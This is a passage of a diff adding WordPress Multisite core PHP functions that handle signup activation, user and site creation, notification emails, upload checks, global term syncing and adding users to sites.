+	if ( empty($signup->domain) ) {
+		$wpdb->update( $wpdb->signups, array('active' => 1, 'activated' => $now), array('activation_key' => $key) );
+
+		if ( isset( $user_already_exists ) )
+			return new WP_Error( 'user_already_exists', __( 'That username is already activated.' ), $signup);
+
+		wpmu_welcome_user_notification( $user_id, $password, $meta );
+		/**
+		 * Fires immediately after a new user is activated.
+		 *
+		 * @since MU
+		 *
+		 * @param int   $user_id  User ID.
+		 * @param int   $password User password.
+		 * @param array $meta     Signup meta data.
+		 */
+		do_action( 'wpmu_activate_user', $user_id, $password, $meta );
+		return array( 'user_id' => $user_id, 'password' => $password, 'meta' => $meta );
+	}
+
+	$blog_id = wpmu_create_blog( $signup->domain, $signup->path, $signup->title, $user_id, $meta, $wpdb->siteid );
+
+	// TODO: What to do if we create a user but cannot create a blog?
+	if ( is_wp_error($blog_id) ) {
+		// If blog is taken, that means a previous attempt to activate this blog failed in between creating the blog and
+		// setting the activation flag. Let's just set the active flag and instruct the user to reset their password.
+		if ( 'blog_taken' == $blog_id->get_error_code() ) {
+			$blog_id->add_data( $signup );
+			$wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now ), array( 'activation_key' => $key ) );
+		}
+		return $blog_id;
+	}
+
+	$wpdb->update( $wpdb->signups, array('active' => 1, 'activated' => $now), array('activation_key' => $key) );
+	wpmu_welcome_notification($blog_id, $user_id, $password, $signup->title, $meta);
+	/**
+	 * Fires immediately after a site is activated.
+	 *
+	 * @since MU
+	 *
+	 * @param int    $blog_id       Blog ID.
+	 * @param int    $user_id       User ID.
+	 * @param int    $password      User password.
+	 * @param string $signup_title  Site title.
+	 * @param array  $meta          Signup meta data.
+	 */
+	do_action( 'wpmu_activate_blog', $blog_id, $user_id, $password, $signup->title, $meta );
+
+	return array('blog_id' => $blog_id, 'user_id' => $user_id, 'password' => $password, 'title' => $signup->title, 'meta' => $meta);
+}
+
+/**
+ * Create a user.
+ *
+ * This function runs when a user self-registers as well as when
+ * a Super Admin creates a new user. Hook to 'wpmu_new_user' for events
+ * that should affect all new users, but only on Multisite (otherwise
+ * use 'user_register').
+ *
+ * @since MU
+ *
+ * @param string $user_name The new user's login name.
+ * @param string $password The new user's password.
+ * @param string $email The new user's email address.
+ * @return int|bool Returns false on failure, or int $user_id on success
+ */
+function wpmu_create_user( $user_name, $password, $email ) {
+	$user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );
+
+	$user_id = wp_create_user( $user_name, $password, $email );
+	if ( is_wp_error( $user_id ) )
+		return false;
+
+	// Newly created users have no roles or caps until they are added to a blog.
+	delete_user_option( $user_id, 'capabilities' );
+	delete_user_option( $user_id, 'user_level' );
+
+	/**
+	 * Fires immediately after a new user is created.
+	 *
+	 * @since MU
+	 *
+	 * @param int $user_id User ID.
+	 */
+	do_action( 'wpmu_new_user', $user_id );
+
+	return $user_id;
+}
+
+/**
+ * Create a site.
+ *
+ * This function runs when a user self-registers a new site as well
+ * as when a Super Admin creates a new site. Hook to 'wpmu_new_blog'
+ * for events that should affect all new sites.
+ *
+ * On subdirectory installs, $domain is the same as the main site's
+ * domain, and the path is the subdirectory name (eg 'example.com'
+ * and '/blog1/'). On subdomain installs, $domain is the new subdomain +
+ * root domain (eg 'blog1.example.com'), and $path is '/'.
+ *
+ * @since MU
+ *
+ * @param string $domain The new site's domain.
+ * @param string $path The new site's path.
+ * @param string $title The new site's title.
+ * @param int $user_id The user ID of the new site's admin.
+ * @param array $meta Optional. Used to set initial site options.
+ * @param int $site_id Optional. Only relevant on multi-network installs.
+ * @return mixed Returns WP_Error object on failure, int $blog_id on success
+ */
+function wpmu_create_blog( $domain, $path, $title, $user_id, $meta = array(), $site_id = 1 ) {
+	$defaults = array( 'public' => 0 );
+	$meta = wp_parse_args( $meta, $defaults );
+
+	$domain = preg_replace( '/\s+/', '', sanitize_user( $domain, true ) );
+
+	if ( is_subdomain_install() )
+		$domain = str_replace( '@', '', $domain );
+
+	$title = strip_tags( $title );
+	$user_id = (int) $user_id;
+
+	if ( empty($path) )
+		$path = '/';
+
+	// Check if the domain has been used already. We should return an error message.
+	if ( domain_exists($domain, $path, $site_id) )
+		return new WP_Error( 'blog_taken', __( 'Sorry, that site already exists!' ) );
+
+	if ( !defined('WP_INSTALLING') )
+		define( 'WP_INSTALLING', true );
+
+	if ( ! $blog_id = insert_blog($domain, $path, $site_id) )
+		return new WP_Error('insert_blog', __('Could not create site.'));
+
+	switch_to_blog($blog_id);
+	install_blog($blog_id, $title);
+	wp_install_defaults($user_id);
+
+	add_user_to_blog($blog_id, $user_id, 'administrator');
+
+	foreach ( $meta as $key => $value ) {
+		if ( in_array( $key, array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ) ) )
+			update_blog_status( $blog_id, $key, $value );
+		else
+			update_option( $key, $value );
+	}
+
+	add_option( 'WPLANG', get_site_option( 'WPLANG' ) );
+	update_option( 'blog_public', (int) $meta['public'] );
+
+	if ( ! is_super_admin( $user_id ) && ! get_user_meta( $user_id, 'primary_blog', true ) )
+		update_user_meta( $user_id, 'primary_blog', $blog_id );
+
+	restore_current_blog();
+	/**
+	 * Fires immediately after a new site is created.
+	 *
+	 * @since MU
+	 *
+	 * @param int    $blog_id Blog ID.
+	 * @param int    $user_id User ID.
+	 * @param string $domain  Site domain.
+	 * @param string $path    Site path.
+	 * @param int    $site_id Site ID. Only relevant on multi-network installs.
+	 * @param array  $meta    Meta data. Used to set initial site options.
+	 */
+	do_action( 'wpmu_new_blog', $blog_id, $user_id, $domain, $path, $site_id, $meta );
+
+	return $blog_id;
+}
+
+/**
+ * Notifies the network admin that a new site has been activated.
+ *
+ * Filter 'newblog_notify_siteadmin' to change the content of
+ * the notification email.
+ *
+ * @since MU
+ *
+ * @param int $blog_id The new site's ID.
+ * @return bool
+ */
+function newblog_notify_siteadmin( $blog_id, $deprecated = '' ) {
+	if ( get_site_option( 'registrationnotification' ) != 'yes' )
+		return false;
+
+	$email = get_site_option( 'admin_email' );
+	if ( is_email($email) == false )
+		return false;
+
+	$options_site_url = esc_url(network_admin_url('settings.php'));
+
+	switch_to_blog( $blog_id );
+	$blogname = get_option( 'blogname' );
+	$siteurl = site_url();
+	restore_current_blog();
+
+	$msg = sprintf( __( 'New Site: %1$s
+URL: %2$s
+Remote IP: %3$s
+
+Disable these notifications: %4$s' ), $blogname, $siteurl, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url);
+	/**
+	 * Filter the message body of the new site activation email sent
+	 * to the network administrator.
+	 *
+	 * @since MU
+	 *
+	 * @param string $msg Email body.
+	 */
+	$msg = apply_filters( 'newblog_notify_siteadmin', $msg );
+
+	wp_mail( $email, sprintf( __( 'New Site Registration: %s' ), $siteurl ), $msg );
+	return true;
+}
+
+/**
+ * Notifies the network admin that a new user has been activated.
+ *
+ * Filter 'newuser_notify_siteadmin' to change the content of
+ * the notification email.
+ *
+ * @since MU
+ *
+ * @param int $user_id The new user's ID.
+ * @return bool
+ */
+function newuser_notify_siteadmin( $user_id ) {
+	if ( get_site_option( 'registrationnotification' ) != 'yes' )
+		return false;
+
+	$email = get_site_option( 'admin_email' );
+
+	if ( is_email($email) == false )
+		return false;
+
+	$user = get_userdata( $user_id );
+
+	$options_site_url = esc_url(network_admin_url('settings.php'));
+	$msg = sprintf(__('New User: %1$s
+Remote IP: %2$s
+
+Disable these notifications: %3$s'), $user->user_login, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url);
+
+	/**
+	 * Filter the message body of the new user activation email sent
+	 * to the network administrator.
+	 *
+	 * @since MU
+	 *
+	 * @param string  $msg  Email body.
+	 * @param WP_User $user WP_User instance of the new user.
+	 */
+	$msg = apply_filters( 'newuser_notify_siteadmin', $msg, $user );
+	wp_mail( $email, sprintf(__('New User Registration: %s'), $user->user_login), $msg );
+	return true;
+}
+
+/**
+ * Check whether a blogname is already taken.
+ *
+ * Used during the new site registration process to ensure
+ * that each blogname is unique.
+ *
+ * @since MU
+ *
+ * @param string $domain The domain to be checked.
+ * @param string $path The path to be checked.
+ * @param int $site_id Optional. Relevant only on multi-network installs.
+ * @return int
+ */
+function domain_exists($domain, $path, $site_id = 1) {
+	global $wpdb;
+	$path = trailingslashit( $path );
+	$result = $wpdb->get_var( $wpdb->prepare("SELECT blog_id FROM $wpdb->blogs WHERE domain = %s AND path = %s AND site_id = %d", $domain, $path, $site_id) );
+
+	/**
+	 * Filter whether a blogname is taken.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int|null $result  The blog_id if the blogname exists, null otherwise.
+	 * @param string   $domain  Domain to be checked.
+	 * @param string   $path    Path to be checked.
+	 * @param int      $site_id Site ID. Relevant only on multi-network installs.
+	 */
+	return apply_filters( 'domain_exists', $result, $domain, $path, $site_id );
+}
+
+/**
+ * Store basic site info in the blogs table.
+ *
+ * This function creates a row in the wp_blogs table and returns
+ * the new blog's ID. It is the first step in creating a new blog.
+ *
+ * @since MU
+ *
+ * @param string $domain The domain of the new site.
+ * @param string $path The path of the new site.
+ * @param int $site_id Unless you're running a multi-network install, be sure to set this value to 1.
+ * @return int The ID of the new row
+ */
+function insert_blog($domain, $path, $site_id) {
+	global $wpdb;
+
+	$path = trailingslashit($path);
+	$site_id = (int) $site_id;
+
+	$result = $wpdb->insert( $wpdb->blogs, array('site_id' => $site_id, 'domain' => $domain, 'path' => $path, 'registered' => current_time('mysql')) );
+	if ( ! $result )
+		return false;
+
+	$blog_id = $wpdb->insert_id;
+	refresh_blog_details( $blog_id );
+
+	wp_maybe_update_network_site_counts();
+
+	return $blog_id;
+}
+
+/**
+ * Install an empty blog.
+ *
+ * Creates the new blog tables and options. If calling this function
+ * directly, be sure to use switch_to_blog() first, so that $wpdb
+ * points to the new blog.
+ *
+ * @since MU
+ *
+ * @param int $blog_id The value returned by insert_blog().
+ * @param string $blog_title The title of the new site.
+ */
+function install_blog( $blog_id, $blog_title = '' ) {
+	global $wpdb, $wp_roles;
+
+	// Cast for security
+	$blog_id = (int) $blog_id;
+
+	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+	$suppress = $wpdb->suppress_errors();
+	if ( $wpdb->get_results( "DESCRIBE {$wpdb->posts}" ) )
+		die( '<h1>' . __( 'Already Installed' ) . '</h1><p>' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '</p></body></html>' );
+	$wpdb->suppress_errors( $suppress );
+
+	$url = get_blogaddress_by_id( $blog_id );
+
+	// Set everything up
+	make_db_current_silent( 'blog' );
+	populate_options();
+	populate_roles();
+
+	// populate_roles() clears previous role definitions so we start over.
+	$wp_roles = new WP_Roles();
+
+	$url = untrailingslashit( $url );
+
+	update_option( 'siteurl', $url );
+	update_option( 'home', $url );
+
+	if ( get_site_option( 'ms_files_rewriting' ) )
+		update_option( 'upload_path', UPLOADBLOGSDIR . "/$blog_id/files" );
+	else
+		update_option( 'upload_path', get_blog_option( get_current_site()->blog_id, 'upload_path' ) );
+
+	update_option( 'blogname', wp_unslash( $blog_title ) );
+	update_option( 'admin_email', '' );
+
+	// remove all perms
+	$table_prefix = $wpdb->get_blog_prefix();
+	delete_metadata( 'user', 0, $table_prefix . 'user_level',   null, true ); // delete all
+	delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true ); // delete all
+}
+
+/**
+ * Set blog defaults.
+ *
+ * This function creates a row in the wp_blogs table.
+ *
+ * @since MU
+ * @deprecated MU
+ * @deprecated Use wp_install_defaults()
+ *
+ * @param int $blog_id Ignored in this function.
+ * @param int $user_id
+ */
+function install_blog_defaults($blog_id, $user_id) {
+	global $wpdb;
+
+	require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+	$suppress = $wpdb->suppress_errors();
+
+	wp_install_defaults($user_id);
+
+	$wpdb->suppress_errors( $suppress );
+}
+
+/**
+ * Notify a user that their blog activation has been successful.
+ *
+ * Filter 'wpmu_welcome_notification' to disable or bypass.
+ *
+ * Filter 'update_welcome_email' and 'update_welcome_subject' to
+ * modify the content and subject line of the notification email.
+ *
+ * @since MU
+ *
+ * @param int $blog_id
+ * @param int $user_id
+ * @param string $password
+ * @param string $title The new blog's title
+ * @param array $meta Optional. Not used in the default function, but is passed along to hooks for customization.
+ * @return bool
+ */
+function wpmu_welcome_notification( $blog_id, $user_id, $password, $title, $meta = array() ) {
+	$current_site = get_current_site();
+
+	/**
+	 * Filter whether to bypass the welcome email after site activation.
+	 *
+	 * Returning false disables the welcome email.
+	 *
+	 * @since MU
+	 *
+	 * @param int|bool $blog_id  Blog ID.
+	 * @param int      $user_id  User ID.
+	 * @param string   $password User password.
+	 * @param string   $title    Site title.
+	 * @param array    $meta     Signup meta data.
+	 */
+	if ( ! apply_filters( 'wpmu_welcome_notification', $blog_id, $user_id, $password, $title, $meta ) )
+		return false;
+
+	$welcome_email = get_site_option( 'welcome_email' );
+	if ( $welcome_email == false )
+		$welcome_email = __( 'Dear User,
+
+Your new SITE_NAME site has been successfully set up at:
+BLOG_URL
+
+You can log in to the administrator account with the following information:
+
+Username: USERNAME
+Password: PASSWORD
+Log in here: BLOG_URLwp-login.php
+
+We hope you enjoy your new site. Thanks!
+
+--The Team @ SITE_NAME' );
+
+	$url = get_blogaddress_by_id($blog_id);
+	$user = get_userdata( $user_id );
+
+	$welcome_email = str_replace( 'SITE_NAME', $current_site->site_name, $welcome_email );
+	$welcome_email = str_replace( 'BLOG_TITLE', $title, $welcome_email );
+	$welcome_email = str_replace( 'BLOG_URL', $url, $welcome_email );
+	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
+	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );
+
+	/**
+	 * Filter the content of the welcome email after site activation.
+	 *
+	 * Content should be formatted for transmission via wp_mail().
+	 *
+	 * @since MU
+	 *
+	 * @param string $welcome_email Message body of the email.
+	 * @param int    $blog_id       Blog ID.
+	 * @param int    $user_id       User ID.
+	 * @param string $password      User password.
+	 * @param string $title         Site title.
+	 * @param array  $meta          Signup meta data.
+	 */
+	$welcome_email = apply_filters( 'update_welcome_email', $welcome_email, $blog_id, $user_id, $password, $title, $meta );
+	$admin_email = get_site_option( 'admin_email' );
+
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+	$message = $welcome_email;
+
+	if ( empty( $current_site->site_name ) )
+		$current_site->site_name = 'WordPress';
+
+	/**
+	 * Filter the subject of the welcome email after site activation.
+	 *
+	 * @since MU
+	 *
+	 * @param string $subject Subject of the email.
+	 */
+	$subject = apply_filters( 'update_welcome_subject', sprintf( __( 'New %1$s Site: %2$s' ), $current_site->site_name, wp_unslash( $title ) ) );
+	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+	return true;
+}
+
+/**
+ * Notify a user that their account activation has been successful.
+ *
+ * Filter 'wpmu_welcome_user_notification' to disable or bypass.
+ *
+ * Filter 'update_welcome_user_email' and 'update_welcome_user_subject' to
+ * modify the content and subject line of the notification email.
+ *
+ * @since MU
+ *
+ * @param int $user_id
+ * @param string $password
+ * @param array $meta Optional. Not used in the default function, but is passed along to hooks for customization.
+ * @return bool
+ */
+function wpmu_welcome_user_notification( $user_id, $password, $meta = array() ) {
+	$current_site = get_current_site();
+
+	/**
+ 	 * Filter whether to bypass the welcome email after user activation.
+	 *
+	 * Returning false disables the welcome email.
+	 *
+	 * @since MU
+	 *
+	 * @param int    $user_id  User ID.
+	 * @param string $password User password.
+	 * @param array  $meta     Signup meta data.
+	 */
+	if ( ! apply_filters( 'wpmu_welcome_user_notification', $user_id, $password, $meta ) )
+		return false;
+
+	$welcome_email = get_site_option( 'welcome_user_email' );
+
+	$user = get_userdata( $user_id );
+
+	/**
+	 * Filter the content of the welcome email after user activation.
+	 *
+	 * Content should be formatted for transmission via wp_mail().
+	 *
+	 * @since MU
+	 *
+	 * @param type   $welcome_email The message body of the account activation success email.
+	 * @param int    $user_id       User ID.
+	 * @param string $password      User password.
+	 * @param array  $meta          Signup meta data.
+	 */
+	$welcome_email = apply_filters( 'update_welcome_user_email', $welcome_email, $user_id, $password, $meta );
+	$welcome_email = str_replace( 'SITE_NAME', $current_site->site_name, $welcome_email );
+	$welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email );
+	$welcome_email = str_replace( 'PASSWORD', $password, $welcome_email );
+	$welcome_email = str_replace( 'LOGINLINK', wp_login_url(), $welcome_email );
+
+	$admin_email = get_site_option( 'admin_email' );
+
+	if ( $admin_email == '' )
+		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
+
+	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
+	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+	$message = $welcome_email;
+
+	if ( empty( $current_site->site_name ) )
+		$current_site->site_name = 'WordPress';
+
+	/**
+	 * Filter the subject of the welcome email after user activation.
+	 *
+	 * @since MU
+	 *
+	 * @param string $subject Subject of the email.
+	 */
+	$subject = apply_filters( 'update_welcome_user_subject', sprintf( __( 'New %1$s User: %2$s' ), $current_site->site_name, $user->user_login) );
+	wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers );
+	return true;
+}
+
+/**
+ * Get the current site info.
+ *
+ * Returns an object containing the 'id', 'domain', 'path', and 'site_name'
+ * properties of the site being viewed.
+ *
+ * @see wpmu_current_site()
+ *
+ * @since MU
+ *
+ * @return object
+ */
+function get_current_site() {
+	global $current_site;
+	return $current_site;
+}
+
+/**
+ * Get a user's most recent post.
+ *
+ * Walks through each of a user's blogs to find the post with
+ * the most recent post_date_gmt.
+ *
+ * @since MU
+ *
+ * @param int $user_id
+ * @return array Contains the blog_id, post_id, post_date_gmt, and post_gmt_ts
+ */
+function get_most_recent_post_of_user( $user_id ) {
+	global $wpdb;
+
+	$user_blogs = get_blogs_of_user( (int) $user_id );
+	$most_recent_post = array();
+
+	// Walk through each blog and get the most recent post
+	// published by $user_id
+	foreach ( (array) $user_blogs as $blog ) {
+		$prefix = $wpdb->get_blog_prefix( $blog->userblog_id );
+		$recent_post = $wpdb->get_row( $wpdb->prepare("SELECT ID, post_date_gmt FROM {$prefix}posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish' ORDER BY post_date_gmt DESC LIMIT 1", $user_id ), ARRAY_A);
+
+		// Make sure we found a post
+		if ( isset($recent_post['ID']) ) {
+			$post_gmt_ts = strtotime($recent_post['post_date_gmt']);
+
+			// If this is the first post checked or if this post is
+			// newer than the current recent post, make it the new
+			// most recent post.
+			if ( !isset($most_recent_post['post_gmt_ts']) || ( $post_gmt_ts > $most_recent_post['post_gmt_ts'] ) ) {
+				$most_recent_post = array(
+					'blog_id'		=> $blog->userblog_id,
+					'post_id'		=> $recent_post['ID'],
+					'post_date_gmt'	=> $recent_post['post_date_gmt'],
+					'post_gmt_ts'	=> $post_gmt_ts
+				);
+			}
+		}
+	}
+
+	return $most_recent_post;
+}
+
+// Misc functions
+
+/**
+ * Get the size of a directory.
+ *
+ * A helper function that is used primarily to check whether
+ * a blog has exceeded its allowed upload space.
+ *
+ * @since MU
+ *
+ * @param string $directory
+ * @return int
+ */
+function get_dirsize( $directory ) {
+	$dirsize = get_transient( 'dirsize_cache' );
+	if ( is_array( $dirsize ) && isset( $dirsize[ $directory ][ 'size' ] ) )
+		return $dirsize[ $directory ][ 'size' ];
+
+	if ( false == is_array( $dirsize ) )
+		$dirsize = array();
+
+	$dirsize[ $directory ][ 'size' ] = recurse_dirsize( $directory );
+
+	set_transient( 'dirsize_cache', $dirsize, HOUR_IN_SECONDS );
+	return $dirsize[ $directory ][ 'size' ];
+}
+
+/**
+ * Get the size of a directory recursively.
+ *
+ * Used by get_dirsize() to get a directory's size when it contains
+ * other directories.
+ *
+ * @since MU
+ *
+ * @param string $directory
+ * @return int
+ */
+function recurse_dirsize( $directory ) {
+	$size = 0;
+
+	$directory = untrailingslashit( $directory );
+
+	if ( !file_exists($directory) || !is_dir( $directory ) || !is_readable( $directory ) )
+		return false;
+
+	if ($handle = opendir($directory)) {
+		while(($file = readdir($handle)) !== false) {
+			$path = $directory.'/'.$file;
+			if ($file != '.' && $file != '..') {
+				if (is_file($path)) {
+					$size += filesize($path);
+				} elseif (is_dir($path)) {
+					$handlesize = recurse_dirsize($path);
+					if ($handlesize > 0)
+						$size += $handlesize;
+				}
+			}
+		}
+		closedir($handle);
+	}
+	return $size;
+}
+
+/**
+ * Check an array of MIME types against a whitelist.
+ *
+ * WordPress ships with a set of allowed upload filetypes,
+ * which is defined in wp-includes/functions.php in
+ * get_allowed_mime_types(). This function is used to filter
+ * that list against the filetype whitelist provided by Multisite
+ * Super Admins at wp-admin/network/settings.php.
+ *
+ * @since MU
+ *
+ * @param array $mimes
+ * @return array
+ */
+function check_upload_mimes( $mimes ) {
+	$site_exts = explode( ' ', get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) );
+	$site_mimes = array();
+	foreach ( $site_exts as $ext ) {
+		foreach ( $mimes as $ext_pattern => $mime ) {
+			if ( $ext != '' && strpos( $ext_pattern, $ext ) !== false )
+				$site_mimes[$ext_pattern] = $mime;
+		}
+	}
+	return $site_mimes;
+}
+
+/**
+ * Update a blog's post count.
+ *
+ * WordPress MS stores a blog's post count as an option so as
+ * to avoid extraneous COUNTs when a blog's details are fetched
+ * with get_blog_details(). This function is called when posts
+ * are published or unpublished to make sure the count stays current.
+ *
+ * @since MU
+ */
+function update_posts_count( $deprecated = '' ) {
+	global $wpdb;
+	update_option( 'post_count', (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$wpdb->posts} WHERE post_status = 'publish' and post_type = 'post'" ) );
+}
+
+/**
+ * Logs user registrations.
+ *
+ * @since MU
+ *
+ * @param int $blog_id
+ * @param int $user_id
+ */
+function wpmu_log_new_registrations( $blog_id, $user_id ) {
+	global $wpdb;
+	$user = get_userdata( (int) $user_id );
+	if ( $user )
+		$wpdb->insert( $wpdb->registration_log, array('email' => $user->user_email, 'IP' => preg_replace( '/[^0-9., ]/', '', wp_unslash( $_SERVER['REMOTE_ADDR'] ) ), 'blog_id' => $blog_id, 'date_registered' => current_time('mysql')) );
+}
+
+/**
+ * Maintains a canonical list of terms by syncing terms created for each blog with the global terms table.
+ *
+ * @since 3.0.0
+ *
+ * @see term_id_filter
+ *
+ * @param int $term_id An ID for a term on the current blog.
+ * @return int An ID from the global terms table mapped from $term_id.
+ */
+function global_terms( $term_id, $deprecated = '' ) {
+	global $wpdb;
+	static $global_terms_recurse = null;
+
+	if ( !global_terms_enabled() )
+		return $term_id;
+
+	// prevent a race condition
+	$recurse_start = false;
+	if ( $global_terms_recurse === null ) {
+		$recurse_start = true;
+		$global_terms_recurse = 1;
+	} elseif ( 10 < $global_terms_recurse++ ) {
+		return $term_id;
+	}
+
+	$term_id = intval( $term_id );
+	$c = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->terms WHERE term_id = %d", $term_id ) );
+
+	$global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE category_nicename = %s", $c->slug ) );
+	if ( $global_id == null ) {
+		$used_global_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM $wpdb->sitecategories WHERE cat_ID = %d", $c->term_id ) );
+		if ( null == $used_global_id ) {
+			$wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $term_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug ) );
+			$global_id = $wpdb->insert_id;
+			if ( empty( $global_id ) )
+				return $term_id;
+		} else {
+			$max_global_id = $wpdb->get_var( "SELECT MAX(cat_ID) FROM $wpdb->sitecategories" );
+			$max_local_id = $wpdb->get_var( "SELECT MAX(term_id) FROM $wpdb->terms" );
+			$new_global_id = max( $max_global_id, $max_local_id ) + mt_rand( 100, 400 );
+			$wpdb->insert( $wpdb->sitecategories, array( 'cat_ID' => $new_global_id, 'cat_name' => $c->name, 'category_nicename' => $c->slug ) );
+			$global_id = $wpdb->insert_id;
+		}
+	} elseif ( $global_id != $term_id ) {
+		$local_id = $wpdb->get_row( $wpdb->prepare( "SELECT term_id FROM $wpdb->terms WHERE term_id = %d", $global_id ) );
+		if ( null != $local_id )
+			$local_id = global_terms( $local_id );
+			if ( 10 < $global_terms_recurse )
+				$global_id = $term_id;
+	}
+
+	if ( $global_id != $term_id ) {
+		if ( get_option( 'default_category' ) == $term_id )
+			update_option( 'default_category', $global_id );
+
+		$wpdb->update( $wpdb->terms, array('term_id' => $global_id), array('term_id' => $term_id) );
+		$wpdb->update( $wpdb->term_taxonomy, array('term_id' => $global_id), array('term_id' => $term_id) );
+		$wpdb->update( $wpdb->term_taxonomy, array('parent' => $global_id), array('parent' => $term_id) );
+
+		clean_term_cache($term_id);
+	}
+	if( $recurse_start )
+		$global_terms_recurse = null;
+
+	return $global_id;
+}
+
+/**
+ * Ensure that the current site's domain is listed in the allowed redirect host list.
+ *
+ * @see wp_validate_redirect()
+ * @since MU
+ *
+ * @return array The current site's domain
+ */
+function redirect_this_site( $deprecated = '' ) {
+	return array( get_current_site()->domain );
+}
+
+/**
+ * Check whether an upload is too big.
+ *
+ * @since MU
+ *
+ * @param array $upload
+ * @return mixed If the upload is under the size limit, $upload is returned. Otherwise returns an error message.
+ */
+function upload_is_file_too_big( $upload ) {
+	if ( is_array( $upload ) == false || defined( 'WP_IMPORTING' ) || get_site_option( 'upload_space_check_disabled' ) )
+		return $upload;
+
+	if ( strlen( $upload['bits'] )  > ( 1024 * get_site_option( 'fileupload_maxk', 1500 ) ) )
+		return sprintf( __( 'This file is too big. Files must be less than %d KB in size.' ) . '<br />', get_site_option( 'fileupload_maxk', 1500 ));
+
+	return $upload;
+}
+
+/**
+ * Add a nonce field to the signup page.
+ *
+ * @since MU
+ */
+function signup_nonce_fields() {
+	$id = mt_rand();
+	echo "<input type='hidden' name='signup_form_id' value='{$id}' />";
+	wp_nonce_field('signup_form_' . $id, '_signup_form', false);
+}
+
+/**
+ * Process the signup nonce created in signup_nonce_fields().
+ *
+ * @since MU
+ *
+ * @param array $result
+ * @return array
+ */
+function signup_nonce_check( $result ) {
+	if ( !strpos( $_SERVER[ 'PHP_SELF' ], 'wp-signup.php' ) )
+		return $result;
+
+	if ( wp_create_nonce('signup_form_' . $_POST[ 'signup_form_id' ]) != $_POST['_signup_form'] )
+		wp_die( __( 'Please try again.' ) );
+
+	return $result;
+}
+
+/**
+ * Correct 404 redirects when NOBLOGREDIRECT is defined.
+ *
+ * @since MU
+ */
+function maybe_redirect_404() {
+	/**
+	 * Filter the redirect URL for 404s on the main site.
+	 *
+	 * The filter is only evaluated if the NOBLOGREDIRECT constant is defined.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $no_blog_redirect The redirect URL defined in NOBLOGREDIRECT.
+	 */
+	if ( is_main_site() && is_404() && defined( 'NOBLOGREDIRECT' ) && ( $destination = apply_filters( 'blog_redirect_404', NOBLOGREDIRECT ) ) ) {
+		if ( $destination == '%siteurl%' )
+			$destination = network_home_url();
+		wp_redirect( $destination );
+		exit();
+	}
+}
+
+/**
+ * Add a new user to a blog by visiting /newbloguser/username/.
+ *
+ * This will only work when the user's details are saved as an option
+ * keyed as 'new_user_x', where 'x' is the username of the user to be
+ * added, as when a user is invited through the regular WP Add User interface.
+ *
+ * @since MU
+ */
+function maybe_add_existing_user_to_blog() {
+	if ( false === strpos( $_SERVER[ 'REQUEST_URI' ], '/newbloguser/' ) )
+		return false;
+
+	$parts = explode( '/', $_SERVER[ 'REQUEST_URI' ] );
+	$key = array_pop( $parts );
+
+	if ( $key == '' )
+		$key = array_pop( $parts );
+
+	$details = get_option( 'new_user_' . $key );
+	if ( !empty( $details ) )
+		delete_option( 'new_user_' . $key );
+
+	if ( empty( $details ) || is_wp_error( add_existing_user_to_blog( $details ) ) )
+		wp_die( sprintf(__('An error occurred adding you to this site. Back to the <a href="%s">homepage</a>.'), home_url() ) );
+
+	wp_die( sprintf( __( 'You have been added to this site. Please visit the <a href="%s">homepage</a> or <a href="%s">log in</a> using your username and password.' ), home_url(), admin_url() ), __( 'WordPress &rsaquo; Success' ) );
+}
+
+/**
+ * Add a user to a blog based on details from maybe_add_existing_user_to_blog().
+ *
+ * @since MU
+ *
+ * @param array $details
+ */
+function add_existing_user_to_blog( $details = false ) {
+	global $blog_id;
+
+	if ( is_array( $details ) ) {
+		$result = add_user_to_blog( $blog_id, $details[ 'user_id' ], $details[ 'role' ] );
+		/**
+		 * Fires immediately after an existing user is added to a site.
+		 *
+		 * @since MU
+		 *
+		 * @param int   $user_id User ID.
+		 * @param mixed $result  True on success or a WP_Error object if the user doesn't exist.
+		 */
+		do_action( 'added_existing_user', $details['user_id'], $result );
+	}
+	return $result;
+}
+
+/**
+ * Add a newly created user to the appropriate blog
+ *
+ * To add a user in general, use add_user_to_blog(). This function
+ * is specifically hooked into the wpmu_activate_user action.
+ *
+ * @since MU
+ * @see add_user_to_blog()
+ *
+ * @param int $user_id
+ * @param mixed $password Ignored.
+ * @param array $meta
+ */
+function add_new_user_to_blog( $user_id, $password, $meta ) {
+	if ( !empty( $meta[ 'add_to_blog' ] ) ) {
+		$blog_id = $meta[ 'add_to_blog' ];
+		$role = $meta[ 'new_role' ];
+		remove_user_from_blog($user_id, get_current_site()->blog_id); // remove user from main blog.
+		add_user_to_blog( $blog_id, $user_id, $role );
